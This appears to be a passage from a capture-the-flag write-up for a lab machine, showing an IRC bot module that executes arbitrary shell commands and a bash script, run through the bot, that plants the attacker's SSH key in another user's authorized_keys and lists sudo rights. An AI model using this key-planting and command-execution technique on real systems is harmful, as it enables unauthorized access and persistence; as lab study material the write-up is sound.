waldo@ubuntu:/home/wallaby/.sopel/modules$ cat run.py
import sopel.module, subprocess, os
from sopel.module import example

@sopel.module.commands('run')
@example('.run ls')
def run(bot, trigger):
     if trigger.owner:
          os.system('%s' % trigger.group(2))
          runas1 = subprocess.Popen('%s' % trigger.group(2), stdout=subprocess.PIPE).communicate()[0]
          runas = str(runas1)
          bot.say(' '.join(runas.split('\\n')))
     else:
          bot.say('Hold on, you aren\'t Waldo?')

Trying to understand trigger.group(2) a bit, it's the group function from the match attribute. Not sure there's a way to inject multiple args into the `.run` module. May be a single command to target in wallaby's env?

https://github.com/sopel-irc/sopel/blob/master/sopel/trigger.py

Maybe we can create a shell script in a location Waldo can access, make it 777 and then run it as wallaby with the single.arg bot invocation of run as waldo?

I think trigger.group(2) is our command.

Finally, Matato ran with the idea to create a script and run it as the single arg to .run so that waldo can execute code as wallaby!

 

waldo@ubuntu:~$ cat test
#!/bin/bash
sudo -l
mkdir /home/wallaby/.ssh
echo "ssh-rsa AAAAB3NzaC1yITSFREEREALESTATE5DaEcfP2gt16DPp55mTtou4Z9a42+m7rFv root@kali" >> /home/wallaby/.ssh/authorized_keys
chmod 600 /home/wallaby/.ssh/authorized_keys

Because the permissions on home are 755 instead of 700, we can just run this from waldo's home!

12:38 <@waldo> .run /home/waldo/test
12:38 < wallabysbot> b'Matching Defaults entries for wallaby on ubuntu:     env_reset, mail_badpass,
                     secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin  User wallaby may run the following commands on ubuntu:    
                     (ALL) NOPASSWD: ALL '

 


CAST

TEAM VOLTRON

Jay as Giuseppe
Mat as Matato http://howidolinux.com
Steve as SteveyDevey http://newsted.net/
Chris as Cuttlefish blog.csuttles.io